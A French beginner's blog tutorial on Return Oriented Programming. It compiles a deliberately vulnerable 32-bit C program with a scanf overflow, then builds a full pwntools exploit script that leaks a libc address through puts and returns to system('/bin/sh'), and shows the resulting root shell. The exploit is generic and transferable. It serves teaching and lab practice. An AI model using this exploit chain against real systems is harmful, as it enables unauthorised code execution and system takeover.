Petit Manuel du ROP à l'usage des débutants

Par Geluchat, sam. 02 septembre 2017, dans la categorie Journal de geluchat

Débutant, Manuel, ROP, Tutoriel

Miss Me

De retour !

Après plus d'un an d'absence sur le blog, je décide enfin d'écrire un article annoncé sur Twitter il y a déjà plusieurs mois.

Lorsque l'on débute dans le monde des exploits système, on se retrouve facilement bloqué lors de l'apprentissage du Return Oriented Programming (ROP).

Dans cet article, je vais vous expliquer une méthode de ROP qui fonctionne la plupart du temps et qui a l'avantage de ne pas utiliser l'instruction int 0x80 ; ce genre d'instruction étant souvent rare dans un binaire.

Les prérequis (fortement recommandés) :

Je vous conseille tout d'abord d'aller voir les deux articles de l'ami hackndo disponibles ici et ici.

Il y explique le fonctionnement des gadgets ainsi que les bases du ROP avec le ret2libc et l'instruction int 0x80 .

Pour aller plus loin sur les différentes utilisations des gadgets vous pouvez vous rendre sur le site de tosh qui contient un magnifique article sur les techniques de ROP.

De plus, des bases sur le fonctionnement classique des buffer overflows sont obligatoires (sinon que faites vous sur cet article ?).

Le ROP, c'est quoi ?

Avant d'entrer dans le vif du sujet, nous allons revoir ensemble les principes du ROP.

Le ROP sert principalement à contourner la protection NX, celle-ci empêche l'utilisateur d’exécuter un shellcode en mappant la stack en non-executable (No-eXecutable).

Il permet aussi de participer à déjouer l'ALSR qui rend aléatoire la base de nos adresses dans la stack ainsi que dans la libc.

Afin d'exécuter notre code, on utilise alors des gadgets qui sont des morceaux de code présents dans les sections exécutables de notre binaire.

Wtf

Pour mieux comprendre l’intérêt et le fonctionnement du ROP, voyons l'étude de cas suivante :

testrop.c :

#include <stdlib.h>
#include <stdio.h>

void vuln()
{
  char buffer[64];
  printf("Input: \n");
  scanf("%s",buffer);
}
int main(int argc, char **argv)
{
  vuln();
}

Pour débuter, on compile en 32 bits :

$ gcc testrop.c -m32 -o testrop

Ici, le binaire est faillible via la fonction scanf() qui ne vérifie pas la taille de l'entrée.

Si vous aviez trouvé, bravo :

Bravo

Regardons un peu les sections présentes dans notre binaire :

$ readelf -S testrop
Il y a 30 en-têtes de section, débutant à l'adresse de décalage 0xf6c:

En-têtes de section :
  [Nr] Nom               Type            Adr      Décala.Taille ES Fan LN Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .interp           PROGBITS        08048134 000134 000013 00   A  0   0  1
  [ 2] .note.ABI-tag     NOTE            08048148 000148 000020 00   A  0   0  4
  [ 3] .note.gnu.build-i NOTE            08048168 000168 000024 00   A  0   0  4
  [ 4] .gnu.hash         GNU_HASH        0804818c 00018c 000020 04   A  5   0  4
  [ 5] .dynsym           DYNSYM          080481ac 0001ac 000060 10   A  6   1  4
  [ 6] .dynstr           STRTAB          0804820c 00020c 000063 00   A  0   0  1
  [ 7] .gnu.version      VERSYM          08048270 000270 00000c 02   A  5   0  2
  [ 8] .gnu.version_r    VERNEED         0804827c 00027c 000030 00   A  6   1  4
  [ 9] .rel.dyn          REL             080482ac 0002ac 000008 08   A  5   0  4
  [10] .rel.plt          REL             080482b4 0002b4 000020 08  AI  5  12  4
  [11] .init             PROGBITS        080482d4 0002d4 000023 00  AX  0   0  4
  [12] .plt              PROGBITS        08048300 000300 000050 04  AX  0   0 16
  [13] .text             PROGBITS        08048350 000350 0001c2 00  AX  0   0 16
  [14] .fini             PROGBITS        08048514 000514 000014 00  AX  0   0  4
  [15] .rodata           PROGBITS        08048528 000528 000013 00   A  0   0  4
  [16] .eh_frame_hdr     PROGBITS        0804853c 00053c 000034 00   A  0   0  4
  [17] .eh_frame         PROGBITS        08048570 000570 0000dc 00   A  0   0  4
  [18] .init_array       INIT_ARRAY      0804964c 00064c 000004 00  WA  0   0  4
  [19] .fini_array       FINI_ARRAY      08049650 000650 000004 00  WA  0   0  4
  [20] .jcr              PROGBITS        08049654 000654 000004 00  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049658 000658 0000e8 08  WA  6   0  4
  [22] .got              PROGBITS        08049740 000740 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        08049744 000744 00001c 04  WA  0   0  4
  [24] .data             PROGBITS        08049760 000760 000008 00  WA  0   0  4
  [25] .bss              NOBITS          08049768 000768 000004 00  WA  0   0  1
  [26] .comment          PROGBITS        00000000 000768 000039 01  MS  0   0  1
  [27] .shstrtab         STRTAB          00000000 0007a1 000106 00      0   0  1
  [28] .symtab           SYMTAB          00000000 0008a8 000450 10     29  45  4
  [29] .strtab           STRTAB          00000000 000cf8 000271 00      0   0  1
Clé des fanions :
  W (écriture), A (allocation), X (exécution), M (fusion), S (chaînes)
  I (info), L (ordre des liens), G (groupe), T (TLS), E (exclu), x (inconnu)
  O (traitement additionnel requis pour l'OS) o (spécifique à l'OS), p (spécifique au processeur)

Ici on peut voir que les sections .init, .plt, .text et .fini ont le flag eXecutable, c'est donc ici que nous allons trouver nos gadgets.

Petit rappel sur les sections les plus importantes d'un binaire lorsque l'on souhaite faire du ROP :

 char test[]="Ma chaîne";

Après ce bref rappel sur le rôle des sections, voyons à quoi ressemble un gadget. Les gadgets ont, la plupart du temps, la forme suivante :

instruction1; instruction2; instruction-n; ret

L'instruction "ret" en 32bits est l'équivalent d'un pop EIP : On enlève 4 bytes de la stack et on les met dans EIP.

Cela permet d'enchainer différents gadgets et de construire une suite d'actions que l'on appelle ropchain.

Le type de gadget le plus utilisé est le gadget "pop", il permet de mettre des chaînes de 4 bytes non exécutables sur la stack comme dans l'exemple suivant :

Exemple de ropchain située sur la stack :

+----------------------------+
|                            |
|    pop ebx; pop ecx; ret;  |
|                            |
+----------------------------+
|                            |
|         0x61616161         |
|                            |
+----------------------------+
|                            |
|         0x62626262         |
|                            |
+----------------------------+
|                            |
|       gadget suivant       |
|                            |
+----------------------------+

Lors de l'exploitation, cette technique nous permettra par exemple de faire appel à des fonctions avec des arguments comme nous allons le voir dans la partie suivante.

La méthode de ROP classique :

Passons directement à la méthode d'exploitation. Nous allons utiliser le schéma d'exploitation suivant :

Wtf

Maintenant que vous êtes tous perdus, une petite explication s'impose :

C'est quoi tous ces ret2truc ?

Le ret2plt est une méthode qui permet d’exécuter n'importe quelle fonction importée dans le binaire (via la PLT).

On peut les lister de la manière suivante :

$ objdump -R testrop

testrop:     format de fichier elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE
08049740 R_386_GLOB_DAT    __gmon_start__
08049750 R_386_JUMP_SLOT   puts
08049754 R_386_JUMP_SLOT   __gmon_start__
08049758 R_386_JUMP_SLOT   __libc_start_main
0804975c R_386_JUMP_SLOT   __isoc99_scanf

Cette commande affiche les fonctions importées de la libc et leur adresse dans la GOT.

Dans notre schéma d'exploitation, nous avons parlé d'un ret2plt de puts.

Le but d'un ret2plt est d'exécuter une fonction de la libc présente dans le binaire.

Le modèle de ropchain pour faire un ret2plt est le suivant:

ropchain = addrPltFonction + popNgadgetRet + arg1 +...+ arg2

Avec popNgadgetRet étant un gadget contenant autant de pop que d'arguments voulus : dans notre cas, un seul.

En effet, la fonction puts prend un argument qui est un pointeur vers une chaîne:

int puts(const char *str)

Si cet argument pointe sur une adresse de la libc, nous pouvons alors l'afficher et la récupérer !

Dans notre étude des sections importantes nous avons vu une section qui contient les adresses de la libc : la GOT !

On peut donc en conclure qu'un pointeur sur l'adresse de scanf est disponible à l'adresse 0x804975c (voir la liste des fonctions ci-dessus).

Une simple vérification sous gdb nous confirme que l'adresse de scanf est bien dans la GOT :

gdb-peda$ x/x 0x0804975c
0x804975c <__isoc99_scanf@got.plt>:     0xf7e77140
gdb-peda$ x/x __isoc99_scanf
0xf7e77140 <__isoc99_scanf>:    0x53565755

Pour notre exploitation, il faut que notre début de ropchain exécute :

puts(adresseGOTscanf);

On récupère donc l'adresse référençant puts dans la plt (ici 0x8048310):

$ objdump -d testrop | grep "<puts@plt>"
08048310 <puts@plt>:
 8048459:       e8 b2 fe ff ff          call   8048310 <puts@plt>

Il faut aussi lui envoyer un argument à l'aide d'un pop XXX; ret.

RopGadget permet d'extraire les gadgets d'un binaire :

$ ROPGadget --binary testrop
Gadgets information
============================================================
0x08048623 : adc al, 0x41 ; ret
0x0804843e : adc al, 0x50 ; call edx
0x080483b7 : adc cl, cl ; ret
0x0804848f : add al, 0x59 ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x08048418 : add al, 8 ; add ecx, ecx ; ret
0x080483b1 : add al, 8 ; call eax
0x080483eb : add al, 8 ; call edx
0x080482f0 : add byte ptr [eax], al ; add esp, 8 ; pop ebx ; ret
0x08048620 : add cl, byte ptr [eax + 0xe] ; adc al, 0x41 ; ret
0x0804861c : add eax, 0x2300e4e ; dec eax ; push cs ; adc al, 0x41 ; ret
0x08048415 : add eax, 0x8049768 ; add ecx, ecx ; ret
0x0804841a : add ecx, ecx ; ret
0x080483b5 : add esp, 0x10 ; leave ; ret
0x080484f9 : add esp, 0x1c ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0804848d : add esp, 4 ; pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080482f2 : add esp, 8 ; pop ebx ; ret
0x080482d8 : call 0x8048386
0x080483b3 : call eax
0x080483ed : call edx
0x08048494 : cld ; ret
0x08048621 : dec eax ; push cs ; adc al, 0x41 ; ret
-----
snip
-----
0x080483b2 : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], 1 ; ret
0x080483ec : or bh, bh ; rol byte ptr [ebx - 0xc36ef3c], cl ; ret
0x08048419 : or byte ptr [ecx], al ; leave ; ret
0x08048491 : pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080484ff : pop ebp ; ret
0x080484fc : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080482f5 : pop ebx ; ret
0x08048490 : pop ecx ; pop ebp ; lea esp, dword ptr [ecx - 4] ; ret
0x080484fe : pop edi ; pop ebp ; ret
0x080484fd : pop esi ; pop edi ; pop ebp ; ret
0x08048493 : popal ; cld ; ret
0x08048416 : push 0x1080497 ; leave ; ret
----
snip
----
0x080483ea : xchg eax, edi ; add al, 8 ; call edx
0x0804861f : xor byte ptr [edx], al ; dec eax ; push cs ; adc al, 0x41 ; ret

Unique gadgets found: 87

On y trouve un gadget 0x080482f5 : pop ebx ; ret; idéal pour notre exploitation !

La deuxième partie du schéma indique l'utilisation d'un ret2main.

Cela consiste tout simplement à mettre l'adresse du main du programme dans notre ropchain afin que celui-ci se relance sans modifier l'ALSR (l'ALSR change à chaque démarrage du programme).

Notre ropchain pour leak l'adresse de scanf dans la libc aura donc cette forme :

ropchain = addrPLTputs + addrPopEbxRet + addrGOTscanf + addrMain

+-----------------------------+
|                             |
|    0x8048310 : <puts@plt>   |
|                             |
+-----------------------------+
|                             |
| 0x080482f5 : pop ebx ; ret; |
|                             |
+-----------------------------+
|                             |
| 0x804975c : __isoc99_scanf  |
|                             |
+-----------------------------+
|                             |
|      0x8048477 : <main>     |
|                             |
+-----------------------------+

On teste donc avec le script suivant que notre début de ropchain fonctionne :

Attention le script fonctionne avec la librairie pwntools

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context(arch='i386')
p = 0
b = ELF('./testrop')
libc = ELF('/lib32/libc.so.6') # "info sharedlibrary" sous gdb pour connaître le chemin de votre libc

DEBUG = False

def wait(until):
    buf=p.recvuntil(until)
    if(DEBUG):
        print buf
    return buf

def start():
    global p, libc, b
    if p is not 0:
        p.close()
    p = process('./testrop')
    wait("Input:")


# pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :
addrmain = b.symbols['main'] # 0x8048477
pr = 0x080482f5  #: pop ebx ; ret
gotscanf = b.symbols['got.__isoc99_scanf'] # 0x804975c
pltputs = b.symbols['puts'] # 0x8048310 
padding="a"*76

start()
log.info("Construct ropchain")
ropchain=padding+p32(pltputs)+p32(pr)+p32(gotscanf)+p32(addrmain) # p32 permet de "pack" une adresse : 0x61616161 -> "aaaa" 
log.info("Get scanf leak")
p.sendline(ropchain)
print wait('Input:')

Le script retourne bien l'adresse de scanf en little endian @q▒▒et se relance tout seul :

@q▒▒
Input:

Cette bouillie de caractères est en réalité l'adresse que nous venons de récupérer.

Elle ne nous apparaît bien évidemment pas de façon à ce que nous puissions la lire à l'œil nu, mais notre script va s'en charger pour nous :

leak=wait('Input:')
leak_scanf = u32(leak[2:6])
log.info("Leak got scanf: "+str(hex(leak_scanf)))

Nous avons donc un leak de la libc (et plus précisément de la fonction scanf()) !

Surprise

Nous arrivons donc à notre dernière partie : faire un ret2libc vers system().

Si vous ne savez pas ce qu'est un ret2libc, je vous redirige vers la section prérequis en haut de l'article.

tl;dr : C'est globalement un ret2plt avec une fonction de la libc.

Actuellement, nous avons l'adresse de scanf dans la libc mais pas celle de system.

Heureusement, nous pouvons la calculer facilement car l'écart entre deux fonctions de la libc est toujours le même.

Ainsi scanfLibc -/+ offset = systemLibc.

La librairie pwntools permet de calculer l'offset de différence très facilement :

leak_system = leak_scanf - libc.symbols['scanf'] + libc.symbols['system']

Nous avons déjà notre gadget pop;ret; afin de mettre un argument sur la stack, ici "/bin/sh".

La chaîne "/bin/sh" est présente dans la libc ainsi que dans la variable SHELL de l'environnement du programme.

Calcul de l'adresse de "/bin/sh" avec pwntools :

leak_binsh = leak_scanf - libc.symbols['scanf'] + next(libc.search('/bin/sh\x00'))

La suite de notre ropchain sera donc :

ropchain = systemLibc + addrPopEbxRet + addrBinsh

+-----------------------------+
|                             |
|        Adresse system       |
|                             |
+-----------------------------+
|                             |
| 0x080482f5 : pop ebx ; ret; |
|                             |
+-----------------------------+
|                             |
|       Adresse "/bin/sh"     |
|                             |
+-----------------------------+

On résume la méthode :

On test notre script qui contient la ropchain complète :

#!/usr/bin/env python
# -*- coding: utf-8 -*-

from pwn import *


context(arch='i386')
p = 0
b = ELF('./testrop')
libc = ELF('/lib32/libc.so.6') # "info sharedlibrary" sous gdb pour connaître le chemin de votre libc

DEBUG = False

def wait(until):
    buf=p.recvuntil(until)
    if(DEBUG):
        print buf
    return buf

def start():
    global p, libc, b
    if p is not 0:
        p.close()
    p = process('./testrop')
    wait("Input:")


# pwntools permet de récupérer les adresses directement dans le binaire sans avoir à les chercher via objdump :
addrmain = b.symbols['main'] # 0x8048477
pr = 0x080482f5  #: pop ebx ; ret
gotscanf = b.symbols['got.__isoc99_scanf'] # 0x804975c
pltputs = b.symbols['puts'] # 0x8048310 
padding="a"*76

start()
log.info("Construct ropchain")
ropchain=padding+p32(pltputs)+p32(pr)+p32(gotscanf)+p32(addrmain) # p32 permet de "pack" une adresse : 0x61616161 -> "aaaa"
log.info("Get scanf leak")
p.sendline(ropchain)

leak=wait('Input:')
leak_scanf = u32(leak[2:6])
leak_system = leak_scanf - libc.symbols['__isoc99_scanf'] + libc.symbols['system']
leak_binsh = leak_scanf - libc.symbols['__isoc99_scanf'] + next(libc.search('/bin/sh\x00'))

log.info("Leak got scanf: "+str(hex(leak_scanf)))
log.info("Leak system: "+str(hex(leak_system)))
log.info("Leak /bin/sh: "+str(hex(leak_binsh)))

log.info("Get shell")
ropchain=padding+p32(leak_system)+p32(pr)+p32(leak_binsh)
p.sendline(ropchain)

# Interactive shell
p.interactive()

Résultat :

$ id
uid=0(root) gid=0(root) groupes=0(root)

Likeaboss

Vous connaissez maintenant la technique de ROP la plus utilisée et qui ne nécessite pas beaucoup de gadget (un pop;ret; et une fonction d'affichage).

J'utilise personnellement cette technique à chaque fois que je dois faire un ROP en raison de sa simplicité de mise en place.

La plupart des autres méthodes de ROP dérivent de cette technique.

J'ai uniquement parlé ici du ROP en 32 bits mais le schéma d'exécution reste le même pour le 64 bits, : la seule différence étant que les arguments sont passés par registres et non plus sur la stack.

Les gadgets pop doivent donc correspondre aux bons registres :

1er argument : pop rdi; ret;
2ème argument : pop rsi; ret;
3ème argument : pop rdx; ret;

Cette différence est liée au système d'appel des fonctions disponible ici.

De plus, en 64 bits, il existe dans la libc un "magic gadget" qui permet d'exécuter un shell directement sans connaitre l'adresse de system ou de "/bin/sh", plus d'informations ici.

Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.

Geluchat.